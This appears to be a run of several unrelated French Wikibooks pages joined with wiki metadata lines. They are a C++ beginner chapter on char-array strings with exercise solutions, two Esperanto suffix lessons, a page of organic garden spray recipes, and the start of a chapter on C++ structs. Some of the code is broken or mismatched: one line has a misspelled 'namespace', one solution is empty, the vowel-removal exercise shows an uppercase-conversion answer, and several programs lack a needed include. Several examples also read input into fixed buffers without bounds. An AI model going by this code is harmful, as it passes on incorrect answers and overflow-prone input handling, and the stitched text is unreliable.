chapitres que nous présenterons la classe string. Ce choix pédagogique est largement assumé dans ce livre mais il suscite en général une controverse assez vive. Qui détient la vérité en matière de pédagogie ? Il serait bon d'ailleurs que ceux qui sont opposés à ce choix proposent un autre livre : le C++ pour débutants avec une pédagogie descendante. Ce serait très intéressant de pouvoir comparer les différentes stratégies pédagogiques. == Le cours du chapitre 8 : les tableaux de char== __TOC__ ===string ou tableaux de char=== En C++, il existe plusieurs façons de représenter les chaînes de caractères : on peut utiliser la classe prédéfinie string ou on peut utiliser des tableaux de char. On parle alors parfois de chaîne de caractères de style C.<br/> Pour des raisons pédagogiques qui nous semblent fondamentales, nous allons étudier les chaînes de caractères représentées par des tableaux de char. Ceci nous permettra de mettre en évidence les insuffisance de cette représentation et pourquoi il est largement préférable d'utiliser la classe string. Il faut avoir en tête que la classe string fait appel à des notions finalement très complexes (l'allocation dynamique de mémoire notamment, ou encore les pointeurs), même si son emploi est très simple. ===Chaînes de caractères de style C=== Une telle chaîne de caractères est contenue dans un tableau de char. Chaque caractère sera dans une case du tableau. A la fin d'une chaîne de caractères (qui n'est pas forcément à la dernière case du tableau) doit se trouver le caractère spécial noté '\0' qui indique la fin de la chaîne. ===Affichage et saisie d'une chaîne=== On peut afficher une chaîne de caractères par cout : le tableau de caractères sera alors affiché jusqu'au caractère de fin de chaîne. <br/> On peut saisir une chaîne par cin : le caractère de fin de chaîne est alors rajouté automatiquement. <br/> On peut accéder au caractère numéro i d'une chaîne t en indexant le tableau t[i]. <br/> ===Exemple 1 : affichage et saisie=== Dans cet exemple, on déclare un tableau de 20 char noté tt : dans chaque case de 0 à 7 on place une lettre et dans la case 8 on place le caractère de fin de chaîne. <pre> #include<iostream> using namespace std; int main() { char tt[20]; tt[0]='B'; tt[1]='O'; tt[2]='N'; tt[3]='J'; tt[4]='O'; tt[5]='U'; tt[6]='R'; tt[7]='\0'; cout<<tt; return 0; } </pre> *'''Explications''' tt contient la chaîne de caractères "BONJOUR". Nous avons construite case par case cette chaîne ! En général, on utilisera des fonctions prédéfinies nous permettant de faire cela ! On peut afficher cette chaîne par un simple cout. <br/> '''Remarque : '''dans la pratique, on ne copiera JAMAIS lettre par lettre une chaîne dans un tableau. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> BONJOUR ===Exemple 2 : saisie d'une chaîne=== <pre> #include<iostream> using namespace std; int main() { char tt[20]; cout<<"Tapez une chaîne SVP : "; cin>>tt; cout <<"Vous avez tapé la chaîne : "; cout<<tt<<endl; return 0; } </pre> *'''Explications''' **On déclare un tableau de 20 char noté tt. **On saisit une chaîne de caractères grâce à cin. **On affiche alors la chaîne de caractères qu'on vient de taper par un cout. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez une chaîne SVP : '''BONJOUR''' <br/> Vous avez tapé la chaîne : BONJOUR ===Manipulation de chaînes=== Les chaînes de caractères sont contenues dans des tableaux de char, il existe de nombreuses fonctions prédéfinies dans le fichier cstring qui permettent de manipuler simplement ces tableaux. Ainsi, on peut aisément copier, comparer, transformer… des chaînes de caractères. Nous allons étudier quelques-unes de ces fonctions standard. ===Comparaison de 2 chaînes=== On ne teste pas l'égalité de 2 chaînes par ==, on utilise strcmp(chaine1,chaine2) qui renvoie : <br/> 0 si les 2 chaînes sont égales. <br/> un nombre <0 si chaîne1 est avant chaîne2 dans l'ordre lexicographique. <br/> un nombre >0 si chaîne1 est après chaîne2 dans l'ordre lexicographique. <br/> Pour utiliser strcmp, il faut inclure cstring.<br/> ===Exemple 3 : comparaison de 2 chaînes=== <pre> #include<iostream> #include<cstring> using namespace std; int main() { char tt[20]; cout<<"Tapez une chaîne : ";cin>>tt; if(strcmp(tt,"BONJOUR")==0) cout<<"GAGNE"<<endl; else cout<<"PERDU"<<endl; return 0; } </pre> *'''Explications''' **Dans cet exemple, on commence par demander à l'utilisateur de saisir une chaîne de caractères tt. **Grâce à la fonction strcmp, on va comparer cette chaîne à la chaîne "BONJOUR". **Si on a tapé la chaîne "BONJOUR", on affichera le message "GAGNE", sinon on affichera le message "PERDU". *'''Exécution 1''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez une chaîne : '''BONSOIR'''<br/> PERDU<br/> *'''Exécution 2''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran :<br/> Tapez une chaîne : '''BONJOUR'''<br/> GAGNE <br/> ===Exemple 4 : ordre lexicographique=== <pre> #include<iostream> #include<cstring> using namespace std; int main() { char a[20]; cout<<"Tapez une chaîne : ";cin>>a; if(strcmp(a,"BONJOUR")>0) cout<<a<<" est après BONJOUR"<<endl; else cout<<a<<" est avant BONJOUR"<<endl; return 0; } </pre> *'''Explications''' **Dans cet exemple, on demande à l'utilisateur de saisir une chaîne de caractères a. **On compare ensuite cette chaîne à la chaîne de caractères "BONJOUR". **Si la chaîne tapée se trouve avant "BONJOUR" dans l'ordre lexicographique, on affiche un message indiquant que la chaîne se trouve avant "BONJOUR". **Si la chaîne se trouve après "BONJOUR", on affiche un message similaire. *'''Exécution 1''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez une chaîne : '''AAA''' <br/> AAA est avant BONJOUR <br/> *'''Exécution 2''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran :<br/> Tapez une chaîne : '''ZZZ''' <br/> ZZZ est après BONJOUR === Copie d'une chaîne=== On n'utilise pas l'affectation pour copier une chaîne dans une autre. <br/> On utilise strcpy(chaine1,chaine2) qui copie la deuxième chaîne dans la première. <br/> ===Exemple 5=== <pre> #include<iostream> #include<cstring> using namespace std; int main() { char a[20],b[20]; strcpy(a,"BONJOUR"); strcpy(b,a); cout<<"La chaîne b vaut : "<<b<<endl; return 0; } </pre> *'''Explications''' **Dans cet exemple, on déclare 2 chaînes de caractères a et b. **On copie la chaîne "BONJOUR" dans a en utilisant strcpy. **On copie ensuite la chaîne a dans la chaîne b toujours en utilisant strcpy. **On affiche ensuite la chaîne b. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran :<br/> La chaîne b vaut BONJOUR ===Longueur d'une chaîne=== *La fonction strlen permet de connaître le nombre de caractères d'une chaîne. *On ne tient pas compte du caractère de fin de chaîne lorsqu'on compte les caractères. === Exemple 6 : longueur d'une chaîne=== <pre> #include<iostream> #include<cstring> using namespace std; int main() { char a[20]; int b; cout<<"Tapez une chaîne : ";cin>>a; b=strlen(a); cout<<"Taille de la chaine = "<<b<<endl; return 0; } </pre> *'''Explications''' **Dans cet exemple on déclare une chaîne de caractères a et un entier b. **On demande à l'utilisateur de saisir la chaîne a au clavier. **Dans l'entier b, on calcule la longueur de la chaîne a en utilisant la fonction strlen. **On affiche par un cout la valeur de b. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez une chaîne : BONJOUR <br/> Taille de la chaîne=7<br/> ===Validation d'une donnée saisie=== Lorsqu'on saisit une chaîne de caractères, l'utilisateur peut toujours taper autre chose que ce qui était demandé : par exemple, on demande à l'utilisateur de taper une heure sous un certain format. Il faut vérifier que l'utilisateur a bien tapé une donnée correcte et lui demander de la retaper s'il s'est trompé. ===Exemple 7 : validation d'une "heure"=== <pre> #include<iostream> using namespace std; bool valide(char t[]) { bool r=true; int h,m; if( t[0]<'0' ||t[0]>'9')r=false; else if( t[1]<'0' ||t[1]>'9')r=false; else if( t[3]<'0' ||t[3]>'9')r=false; else if( t[4]<'0' ||t[4]>'9')r=false; else if(t[2]!='h')r=false; else if(t[5]!='\0')r=false; else { h=(t[0]-'0')*10+(t[1]-'0'); if(h>23)r=false; m=(t[3]-'0')*10+(t[4]-'0'); if(m>59)r=false; } return r; } int main() { char a[20]; do { cout<<"Tapez une heure sous le format ..h.. : "; cin>>a; }while (!valide(a)); return 0; } </pre> *'''Explications''' La fonction valide a comme paramètre une chaîne de caractères et renvoie le booléen true si la chaîne passée en paramètre est une heure valide et renvoie false sinon. <br/> Pour tester si notre chaîne est valide, il faut : <br/> vérifier que les caractères 0, 1, 3 et 4 sont bien des chiffres. <br/> vérifier que le caractère 2 est bien le caractère 'h'. <br/> vérifier que le caractère 5 est bien le caractère de fin de chaîne '\0'. <br/> calculer dans h le nombre d'heures et vérifier que h est inférieur ou égal à 23. <br/> calculer dans m le nombre de minutes et vérifier que m est bien inférieur ou égal à 59. <br/> Si une de ces conditions n'est pas vérifiées, la chaîne ne sera pas valide. <br/> Dans le programme principal, on saisit une chaîne de caractères au clavier. <br/> Tant que la chaîne tapée ne sera pas une heure qui correspond au format imposé, alors on demandera à l'utilisateur de saisir à nouveau une nouvelle chaîne. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez une heure sous le format ..h.. : '''aze'''<br/> Tapez une heure sous le format ..h.. : '''12h50h''' <br/> Tapez une heure sous le format ..h.. : '''25h98''' <br/> Tapez une heure sous le format ..h.. : '''12h06''' <br/> ===Séparateurs=== Par défaut le caractère indiquant la fin d'une chaîne en cours de saisie est l'espace ou le retour chariot. Cela empêche de saisir une chaîne comportant un espace. <br/> cin.getline(…) permet de saisir une chaîne pouvant comporter des espaces : seul le retour chariot –touche «entrée») fait alors office de séparateur. On peut également tronquer la chaîne en indiquant la taille du tableau contenant cette chaîne. ===Exemple 8 : saisie d'une chaîne avec espaces=== <pre> #include<iostream> using namespace std; int main() { char tt[10]; cout<<"Tapez une chaîne SVP : "; cin.getline(tt,10); cout <<"Vous avez tapé la chaîne : "; cout<<tt<<endl; return 0; } </pre> *'''Explication''' **Dans cet exemple, nous définissons une chaîne de caractères notées tt. **On saisit au clavier une chaîne de caractères pouvant contenir des espaces et qui doit être contenue dans un tableau de 10 char (elle comportera 9 caractères utiles au maximum plus le caractère de fin de chaîne) : elle sera automatiquement tronquée en conséquence. **On affiche ensuite la chaîne que l'utilisateur vient de taper. Elle sera éventuellement tronquée. *'''Exécution 1''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez une chaîne SVP : '''azer ty '''<br/> Vous avez tapé la chaîne : azer ty <br/> *'''Exécution 2''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez une chaîne SVP : '''aaaaaaaaaaaaa'''<br/> Vous avez tapé la chaîne : aaaaaaaaa <br/> ===Conclusion=== Nous avons étudié comment les chaînes de caractères étaient représentées en C++. Nous avons vu quelques fonctions prédéfinies permettant de manipuler ces chaînes. Nous avons vu comment il était possible de vérifier si une chaîne de caractères était sous un certain format. Il nous reste maintenant à effectuer des exercices pour utiliser ces fonctions et pour manipuler des chaînes de caractères en tout genre. ==Exercices== ===EXERCICE 1=== Ecrire une fonction qui a en paramètres une chaîne de caractères (paramètre en entrée) et un entier e (paramètre en sortie). Cette fonction renvoie un booléen. La fonction renvoie true si la chaîne de caractères est un entier écrit sous la forme d'une suite de chiffres qui ne commence pas par 0, elle renvoie false sinon. Si la chaîne est correcte, la fonction renvoie dans e la valeur de cet entier. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *La validation d'une chaîne de caractères. *Transformation d'une chaîne vers un autre type. *Voici le fichier source : <pre> #include<iostream> using namespace std; bool valide_entier(char t[],int &e) { bool valide=true; int i=0; e=0; if(t[0]<'1' || t[0]>'9')valide=false; while(valide && t[i]!='\0') { if(t[i]>='0' && t[i]<='9'){e=10*e+(t[i]-'0');i++;} else valide=false; } return valide; } int main() { int a; char t[20]; do{cout<<"Tapez une chaine :";cin>>t;}while(!valide_entier(t,a)); cout<<"L'entier vaut :"<<a<<endl; return 0; } </pre> }} ===EXERCICE 2=== Ecrire une fonction qui a en paramètre une chaîne de caractères (paramètre en entrée et en sortie) et qui transforme toutess les minuscules de la chaîne en majuscules. {{Boîte déroulante|titre=Solution|contenu = <pre> </pre> }} ===EXERCICE 3=== Ecrire une fonction qui a en paramètre une chaîne de caractères (paramètre en entrée et en sortie) et qui supprime toutes les voyelles. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *Transformation d'une chaîne de caractrères. *Majuscules et minuscules. *Voici le fichier source : <pre> #include<iostream> using namespace std; void minmaj(char t[]) { int i=0; while(t[i]!='\0') { if(t[i]>='a' && t[i]<='z')t[i]=t[i]+('A'-'a'); i++; } } int main() { char a[50]; cout<<"Tapez une chaine svp :";cin>>a; minmaj(a); cout<<"La chaine finale est :"<<a<<endl; return 0; } </pre> }} ===EXERCICE 4=== Ecrire une fonction qui a en paramètres deux chaînes de caractères ch1 et ch2 (paramètres en entrée) et renvoie un booléen indiquant si la chaîne ch2 est contenue dans la chaîne ch1. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *Recherche d'une chaîne incluse dans une autre chaîne. *Voici le fichier source : <pre> #include<iostream> using namespace std; bool contient(char ch1[],char ch2[]) { int ii=0,i=0,j=0; bool fini,trouve; trouve=false; fini=false; while(!trouve && !fini) { if(ch1[ii]==ch2[j]) { ii++;j++; if(ch2[j]=='\0')trouve=true; } else { i++;ii=i;j=0; } if(ch1[ii]=='\0')fini=true; } return trouve; } int main() { char a[50],b[50]; cout<<"Tapez une chaine svp :"; cin>>a; cout<<"Tapez une chaine svp :"; cin>>b; if(contient(a,b))cout<<"la premiere chaine contient la seconde"<<endl; else cout<<"la premiere chaine ne contient pas la seconde"<<endl; return 0; } </pre> }} ===EXERCICE 5=== Ecrire un programme qui demande à l'utilisateur de taper un verbe du premier groupe et qui le conjugue à l'indicatif présent. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *La construction d'une chaîne à partir d'une autre. *Voici le fichier source : <pre> #include<iostream> using namespoace std; int main() { char tt[20]; cout<<"Tapez un verbe du premier groupe : "; cin>>tt; int i; i=strlen(tt); if(i<=2 || tt[i-1]!='r' || tt[i-2]!='e') cout<<"le verbe n'est pas du premier groupe"<<endl; else { tt[i-2]='\0'; cout<<"je "<<tt<<"e"<<endl; cout<<"tu "<<tt<<"es"<<endl; cout<<"il "<<tt<<"e"<<endl; cout<<"nous "<<tt<<"ons"<<endl; cout<<"vous "<<tt<<"ez"<<endl; cout<<"ils "<<tt<<"ent"<<endl; } return 0; } </pre> }} ===EXERCICE 6=== Ecrire un programme qui saisit une chaîne pouvant contenir des espaces et qui affiche chaque mot de la chaîne, le séparateur étant l'espace. <br/> Exemple, on tape : '''je pense donc je suis'''<br/> Le programme affiche :<br/> mot 1 : je<br/> mot 2 : pense<br/> mot 3 : donc<br/> mot 4 : je<br/> mot 5 : suis<br/> {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *Analyse syntaxique d'une chaîne de caractères. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { char t[50]; char mot[50]; int i=0,j=0,state=1,num=0; cout<<"Tapez une phrase : ";cin.getline(t,50); while(t[i]!='\0'){ if(state==1) { if(t[i]!=' ') { state=2;j=0;mot[0]=t[i];j++; } } else { if(t[i]!=' '){mot[j]=t[i];j++;} else { state=1; num++; mot[j]='\0'; cout<<"mot "<<num<<" : "<<mot<<endl; } } i++; } if(state==2) { num++; mot[j]='\0'; cout<<"mot "<<num<<" : "<<mot<<endl; } return 0; } </pre> }} ===EXERCICE 7=== Ecrire un programme qui demande à l'utilisateur de taper une chaîne de caractères et qui indique si cette chaîne est un palyndrôme ou non. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *validation d'une chaîne. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { char t[50]; int i,j; bool palyn; palyn=true; cout<<"Tapez une chaîne : ";cin>>t; i=0; j=strlen(t)-1; while(palyn==true && i<j) if(t[i]!=t[j])palyn=false; else {i++;j--;} if(palyn) cout<<"C'est un palyndrome"<<endl; else cout<<"ce n'est pas un palyndrôme"<<endl; return 0; } </pre> }} ===EXERCICE 8=== Ecrire un programme qui demande à l'utilisateur de taper une chaîne de caractères et qui affiche la lettre (minuscule ou majuscule) la plus fréquente. {{Boîte déroulante|titre=Solution|contenu = Cet exercice a pour but de vérifier les points techniques suivants : *La manipulation de chaînes de caractères. *Manipulation sur les majuscules ou minuscules. *Voici le fichier source : <pre> #include<iostream> using namespace std; int main() { char ch[50]; int t[52]; int i,max; char cmax; cout<<"Tapez une chaîne : ";cin>>ch; for(i=0;i<52;i++)t[i]=0; i=0; while(ch[i]!='\0') { if(ch[i]>='A' && ch[i]<='Z')t[ch[i]-'A']++; else if(ch[i]>='a' && ch[i]<='z')t[ch[i]-'a'+26]++; i++; } max=t[0];cmax='A'; for(i=1;i<52;i++) if(max<t[i]) { max=t[i];if(i<26)cmax=(char)(i+'A'); else cmax=(char)(i-26+'a'); } cout<<"La lettre la plus fréquente est : "<<cmax<<endl; return 0; } </pre> }} Espéranto : Quatrième Leçon 6825 42571 2006-05-17T07:20:54Z 82.233.108.150 correction accents ==Argumentatif== L'argumentatif s'indique en mettant le suffixe '''-eg-'''. Ex: * brûlant.....varmega * glacial.....malvarmega * immense.....grandega * minuscule.....malgrandega ==Désignation== La désignation s'indique en mettant le suffixe '''-ul-'''. Ex: * le beau-parleur.....la belfrazulo * la femme aux chaussures bleues.....la bluŝuulino * Blanche-Neige.....Neĝulino * les hommes aux chapeaux noirs.....la nigrĉapeluloj ==Penchant== Le penchant s'indique en mettant le suffixe '''-em-'''. Ex: * être gourmand.....frandemi * être bavard.....parolemi * être curieux.....scivolemi * être grognon.....grumblemi [[Catégorie:Espéranto|04]] Espéranto : Cinquième Leçon 6826 46006 2006-06-27T05:53:40Z 86.203.40.152 /* Participes */ ==Participes== En espéranto, il existe six participes différents. Ce sextuor permet une grande précision dans l'expression. ==Les participes actifs indiquent ce qui réalise l'action.== *'''-ant-''' participe actif présent *'''-int-''' participe actif passé *'''-ont-''' participe actif futur ==Les participes passifs indiquent ce qui est concerné par l'action.== *'''-at-''' participe passif présent *'''-it-''' participe passif passé *'''-ot-''' participe passif futur Grâce à ces six participes, on peut largement nuancer l'énonciation : Ex. *La lettre en cours d'écriture.....La skrib'''at'''a letero *Les filles en train de jouer.....La lud'''ant'''aj knabinoj *La note qu'il se proposait d'écrire.....La skrib'''ot'''a noto ==Petitesse== La petitesse s'indique en mettant le suffixe '''-et-''': Ex. * Le Petit Prince.....La Eta Princo * un petit poisson.....fiŝeto * une petite fleur.....floreto * une petite maison.....dometo ==Couleurs== Les couleurs posent parfois des problèmes selon la langue maternelle du poète ou de l'écrivain. Par exemple, en français le feu "rougoie" et le pré "verdoie", mais un lac n'a pas le droit de "bleuoyer" '''alors que cela lui est permis en allemand''', (blauen) et une nuit n'a pas le droit de "noiroyer" '''alors que cela lui est permis en russe'''. (tchérnet) Comme l'espéranto est entièrement fondé sur le mouvement naturel de l'assimilation généralisatrice, toutes les couleurs ont le droit de "colorer". Ex: * Le lac se détache en bleu.....La lago bluas * Le ciel nocturne donne une impression de noir.....La nokta ĉielo nigras * Le brouillard est gris.....La brumo grizas * Le soleil parait jaune.....La suno flavas [[Catégorie:Espéranto|05]] Engrais vert 6827 46291 2006-06-28T11:12:33Z 84.5.207.203 /* ''Savon noir'' */ Un '''engrais vert''' est un ramassis d'herbe verte non fleurie, broyée puis séchée à même le sol, et incorporée à la terre à l'aide d'une bêche ou d'un croc. Ce travail améliore la composition de la terre, qui en se désagrégeant lui apporte des matières riches en azote. Beaucoup de consommateurs prennent conscience de la nécessité de se nourrir sainement, en consommant des aliments frais et naturels, sans appoint chimique. Aujourd’hui, l’obstacle du jardinier est de se débarrasser des insectes indésirables et des herbes pour sa culture, tout en respectant l’harmonie naturel de l’homme et de la nature. Ces dernières années les méthodes biologiques appelées bio-jardinage réprouvent l’emploi des produits à base d’engrais, insecticides, herbicides ou conservants, toxiques pour le consommateur, la faune ou la flore. Elle privilégie les matières fertilisantes et les substances antiparasitaires naturelles. Il existe dans le commerce des insecticides et des fongicides « bio », mais, les préparations « d'autrefois » reviennent à la mode,il existe de nombreuses possibilités de lutte biologique à l'aide de pulvérisation ou d'arrosage de décoction de plantes. Malheureusement ces formules sont plus ou moins efficaces en curatif, mais meilleures en préventif, sauf les insecticides de contacts qui ne sont à employer qu'en cas d'attaques directes d'insectes. Ces décoctions ou purins de plantes à effet répulsif ou curatif, pour être efficace doivent être employés sous plusieurs formes. == Définitions == ====''Décoction de purin''==== Une '''décoction de purin''' est obtenue en laissant les plantes 4 jours dans de l'eau de pluie au soleil. Pour un purin fermenté, il faut environ 2 semaines, en remuant tous les jours le purin et en mettant peu d'eau, le tout protègé de la lumière. ==== ''Décoction'' ==== Une '''décoction''' consiste à plonger les plantes 24h00 dans l'eau fraîche, on fait ensuite bouillir 15 minutes, on couvre le temps que cela refroidisse. ====''Infusion''==== Une '''infusion''' consiste à plonger les plantes dans de l'eau bouillante couvrir la marmite, et attendre 24h00 jusqu'à refroidissement complet. ==== ''Macération'' ==== Une '''macération''' consiste à plonger les plantes 2 à 3 jours pour éviter la fermentation et on filtre le tout. ==== ''Extraits'' ==== Un '''extrait de fleurs''', consiste à bassiner les fleurs cueillies, les mixer et les presser à l'aide d'un linge pour en extraire le jus. On peut le conserver dans de petites bouteilles ou des jerricans avant utilisation, ajouter de l'eau pour faciliter l'arrosage. == Recettes de produits à pulvériser == ==== ''Absinthe'' ==== L'absinthe (Artemisia absinthum), de triste réputation, est précieuse pour le jardinier. En '''décoction''', elle est efficace préventivement contre les fourmis, les phytoptes de la ronce et les pucerons. En '''infusion''', on traitera curativement la rouille du groseillier. Il faut compter 250 g de fleurs et feuilles séchées pour 10 litres d'eau. Si elles sont fraîches, il faut multiplier par 10 la quantité. ==== ''Ail'' ==== Les bulbes bien mixés, à raison de 80 à 100 g pour 10 litres d'eau en décoction (l'infusion est moins efficace), ont un effet préventif sur les maladies cryptogamiques et bactériennes et les acariens, les pucerons et le tarsonème du fraisier. En curatif, elle éloigne les pucerons des rosiers. ==== ''Bacillus Thuringiensis'' ==== C'est un mélange de bactéries qu'on trouve également sous le nom de Bactospéine (contient alors aussi des pyréthrines naturelles). Ce traitement est trop souvent négligé par les jardiniers amateurs alors que son efficacité est remarquable contre les cheimatobies, la cochylis, l'eudémis de la vigne, les hyponomeutes et surtout la terrible piéride du chou. Ces chenilles meurent très vite après avoir mangé des feuilles traitées. C'est un des rares produits à appliquer avec des températures supérieures à 20 degrés ! ==== ''Bouillie bordelaise'' ==== Cette préparation, à base de sulfate de cuivre et de chaux, est utilisée depuis plusieurs siècles pour lutter préventivement contre beaucoup de maladies cryptogamiques. On trouve de plus en plus de fongicides modernes qui associent sulfate de cuivre à d'autres éléments chimiques. Mais en Agriculture Biologique, on accepte uniquement l'usage de la bouillie bordelaise. Son action préventive est bonne contre le mildiou (pommes de terre, tomates et vigne) et aussi contre la tavelure des fruits (à pulvériser AVANT la floraison) mais dans ce dernier cas, il faut réduire les dosages préconisés car le cuivre peut provoquer un brunissement des pommes et des poires (les fruits à noyaux ne sont pas concernés). ==== ''Camomille'' ==== En infusion ou décoction (50 g de fleurs séchées pour 1 litre), la Camomille a un effet renforçateur sur les graines au moment des semis. ==== ''Fougères'' ==== La fougère mâle (Dryopteris filix-mas) pulvérisée l'hiver sous forme de purin non dilué (1 kg de plantes fraîches pour 10 litres d'eau, 10 fois moins avec des plantes sèches) a une remarquable action préventive contre les cochenilles et les pucerons lanigènes. Contre ces derniers, on peut employer ce purin toute l'année. ==== ''Ortie'' ==== On l'utilise sous forme de purin fermenté (1 kg de plante sans la racine pour 10 litres d'eau) qu'on dilue ensuite à 1 partie de purin pour 20 parties d'eau. Une mixture pestilencienne mais son action est extraordinaire sur toutes les cultures potagères : il stimule et renforce les plantes (tomates, haricots, poireaux, etc), prévient le mildiou et éloigne les pucerons et les acariens. ==== ''Prêle'' ==== Utilisée en décoction (1 kg sans la racine pour 10 litres d'eau puis dilué 5 fois), la prêle a un effet préventif et curatif sur de nombreuses maladies cryptogamiques : cloque du pêcher, mildiou, monilia, oïdiums, rouille, tavelures et septoriose de la tomate ! Associée à du purin d'ortie cela devient un fertilisant doublé d'un fongicide sans équivalent. ==== ''Pyrèthres'' ==== La poudre de pyrèthre provient d'une plante proche des Chrysanthèmes qui pousse dans les pays chauds. Les insecticides à base de cette poudre provoquent une paralysie par empoisonnement du système nerveux des insectes. Produit couteux mais faisant parti des produits Bio, il doit être utilisé uniquement en curatif, car l'effet est de courte durée. Le pyrèthre s'emploie contre les acariens, aleurodes (mouches blanches), la mouche du chou et les pucerons. Son action est renforcée en y mélangeant de la Roténone. ATTENTION : c'est un produit toxique pour les insectes, y compris les auxiliaires, et comme la roténone, le pyrèthre est mortel pour les poissons et les batraciens. ==== ''Quassia'' ==== Difficile à trouver, cette substance est extraite d'un bois tropical. L'infusion de quassia a des effets similaires aux pyrèthres mais moins prononcé. On s'en sert surtout contre le puceron vert du pêcher. ==== ''Raifort'' ==== La pulvérisation d'une infusion de Raifort (250 g de feuilles et de racines pour 10 litre d'eau), sur les fleurs des arbres fruitiers, est très éfficace contre le développement du monilia. ==== ''Roténone'' ==== Cette substance est un insecticide « bio » extraite des légumineuses tropicales. Son action longue à se déclencher est irréversible et demande à être associée au pyrèthre. Elle est efficace contre les cheimatobies, doryphores, la piéride du chou, les psylles, les pucerons et les thrips. L'association roténone-pyrèthre évite l'utilisation d'insecticides chimiques. ==== ''Rhubarbe'' ==== Les feuilles de rhubarbe sont toxiques pour l'homme, mais utiles (150 g par litre d'eau) en infusion contre deux nuisibles spécifiques, le ver du poireau et le puceron noir de la fève. ==== ''Tanaisie'' ==== Cette herbe sauvage est considérée comme profitable, sa forte odeur en fait un précieux répulseur d'insectes. Pulvérisée après infusion (300 g pour 10 litres d'eau), elle éloigne les acariens du fraisier et de la ronce, les fourmis et les pucerons. En décoction (même quantité), il faut l'utiliser contre le carpocapse et la mouche du chou au moment des vols. ==== ''Savon noir'' ==== Délayer 1 cuillère à soupe de savon noir (ou du liquide vaisselle) dans de l'eau chaude, ajouter 1 cuillère à soupe d'alcool à brûler et 1 litre d'eau. Enduire cette préparation à l'aide d'un pinceau les cocons et les boucliers des cochenilles. [[Catégorie:Jardinage]] Image:Aldehyde.png 6828 30904 2006-01-30T20:38:34Z 196.206.75.110 acide Catégorie:Jardinage 6830 30913 2006-01-30T22:13:15Z Zivax 1021 Créer catégorie [[Catégorie:Potager biologique]] Programmation C++ (débutant)/Les structures 6832 43730 2006-06-01T20:48:22Z Zulul 474 /* Les fichiers header */ {{C++ débutant}} ==Le cours sur les structures== ===Présentation=== Nous avons utilisé pour l'instant des types de base : ils contiennent des éléments de type int, char, double ou bool. Dans ce chapitre nous allons définir de nouveaux types qui vont permettre de représenter des entités plus complexes. Par exemple, on pourra définir un type point qui contiendra une abscisse et une ordonnée. Nous allons donc apprendre à créer et à utiliser des types structurés.<br/> Nous verrons ensuite comment, à partir de ces types, nous pouvons créer des fonctions permettant de manipuler ces nouveaux types. L'association de ces types et de ces fonctions sera appelée module, chacun sera défini par un fichier header .h et un fichier source .cpp. Nous verrons à cette occasion la compilation séparée. Notre programme ne sera plus constitué d'un seul fichier mais d'un ensemble de fichiers qui pourra éventuellement être très important. Nous étudierons finalement un type de structure très usuel : les listes. Dans ce chapitre, notre représentation des listes sera très sommaire mais sera l'occasion de découvrir une méthodologie de programmation en découpant notre programme en différents modules qui seront dans une certaine mesure indépendants. Cette méthodologie nous permettra de concevoir des programmes de taille plus importante. ===Idée=== En général, pour représenter en C++ des données, il faut plusieurs variable.<br/> Exemple : <br/> - pour représenter un point, il faut une abscisse et une ordonnée. <br/> - pour représenter une fraction, il faut un numérateur et un dénominateur .<br/> - pour représenter une liste de notes, il faut un nombre de notes et un tableau d'entiers ... <br/> ===Les structures=== On va créer de nouveaux types qui regroupent plusieurs variables. D'apparence anodine, cette idée est extrêmement puissante. <br/> '''Exemple : ''' <pre> struct point { double x,y; }; </pre> ===Variable de type structuré=== On peut maintenant définir des variables de type point . <br/> Par exemple : point a , b; <br/> a contient 2 réels appelé a.x et a.y. <br/> L'abscisse du point a sera noté a.x. <br/> a.x est de type double. <br/> L'ordonnée du point b sera notée b.y, de type double également. <br/> a.x et a.y peuvent être utiliser pour des affectations, des entrées-sorties, comme toute variable de type double. <br/> === Des données de plus en plus complexes === En fait, en définissant de nouveaux types, on crée des types de données plus complexes qui pourront eux même donner naissance à des type de données encore plus complexe et ainsi de suite. Cette méthodologie permettra de concevoir des types de données extrêmement élaboré (un texte structuré comme dans un traitement de texte par exemple). Le programmeur finira par oublier les différents champs les composants en ne retenant que les manipulations qu'il est capable d'effectuer sur ces données. ===Exemple 1 : le type point=== <pre> #include<iostream> using namespace std; struct point { double x,y; }; int main() { point a,b,c; a.x=3.2; a.y=6.4; cout<<"Tapez l'abscisse de b : ";cin>>b.x; cout<<"Tapez l'ordonnée de b : ";cin>>b.y; c.x=(b.x+a.x)/2; c.y=(b.y+a.y)/2; cout<<"Abscisse de c : "<<c.x<<endl; cout<<"Ordonnée de c : "<<c.y<<endl; return 0; } </pre> **'''Explications''' **Dans cet exemple, nous définissont une structure point composée de 2 réels x et y. **Dans la fonction main, on définit 3 points a,b et c. **On fixe les coordonnées du point a à (3.2,6.4). **On demande à l'utilisateur de saisir les coordonnées du point b. **On calcule dans c les coordonnées du milieu du segment [ab]. **On affiche finalement les coordonnées du point c. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez l'abscisse de b : '''5.8''' <br/> Tapez l'ordonnée de b : '''3.6''' <br/> 